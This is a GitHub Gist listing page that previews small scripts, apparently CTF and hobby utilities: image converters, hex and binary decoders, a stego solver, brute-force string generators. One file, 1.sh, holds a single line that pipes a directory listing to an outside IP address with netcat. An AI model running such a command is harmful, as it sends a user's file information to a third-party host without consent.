View test-anti-img-theft-strategy.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import unittest | |
import requests | |
referer = [........] | |
class TestAntiTheft(unittest.TestCase): | |
""" | |
requests headers default | |
"headers":{ | |
"Accept":[ |
View img2excel.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from openpyxl import Workbook | |
from openpyxl.styles import PatternFill | |
from PIL import Image | |
import sys | |
''' | |
require: python3 pillow openpyxl | |
usage: python3 img2excel 1.jpg out | |
''' |
View 1.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HTTP/1.1 200 OK | |
Content-Type: text/html; charset=UTF-8 | |
Server: netcat! | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>A webpage served by netcat</title> |
View 1.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ls | nc 167.71.123.237 8999 |
View flag.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int main(){ | |
char f0[] = "/\\\n||^-----------\n||^###########|\n||^###########|\n||^###########|\n||^-----------\n|| \n||\n||\n||"; | |
char f1[] = "/\\\n||-^----------\n||#^##########|\n||#^##########|\n||#^##########|\n||-^----------\n|| \n||\n||\n||"; | |
char f2[] = "/\\\n||--^---------\n||##^#########|\n||##^#########|\n||##^#########|\n||--^---------\n|| \n||\n||\n||"; | |
char f3[] = "/\\\n||---^--------\n||###^########|\n||###^########|\n||###^########|\n||---^--------\n|| \n||\n||\n||"; | |
char f4[] = "/\\\n||----^-------\n||####^#######|\n||####^#######|\n||####^#######|\n||----^-------\n|| \n||\n||\n||"; |
View product.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
import random | |
def fillfull(chars, width): | |
length = len(chars) | |
full = length ** width | |
for i in range(full): | |
one = "" | |
for j in range(width): | |
one += chars[i%length] |
View hex2string.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s="4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d" | |
step=2 | |
print("".join([chr(int("".join(s[i:i+step]),16)) for i in range(0,len(s),step)])) | |
# or | |
print(bytes.fromhex(s).decode('utf-8')) |
View PrettyPixels.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Don't get me wrong, I love pretty colors as much as the next guy... but what does it mean? pretty_pixels.png | |
# https://static2.ichunqiu.com/icq/resources/fileupload/CTF/IceCTF/stego/pretty.png | |
from PIL import Image | |
from sys import stdout | |
img = Image.open('pretty.png') | |
x_size, y_size = img.size |
View randsums.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
def randsums(nrange, count): | |
l = [] | |
for i in range(count): | |
# print(nrange) | |
if i == count-1: | |
l.append(nrange[-1]) | |
else: | |
r = random.randrange(*nrange) |
View cover_your_words.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# coding: utf-8 | |
def cover(words, separator=' '): | |
return separator.join(['{:0>8}'.format(bin(ord(w))[2:]) for w in words]) | |
def recover(words, separator=' '): | |
return ''.join([chr(int(b,2)) for b in words.split(separator)]) | |
if __name__ == '__main__': |
NewerOlder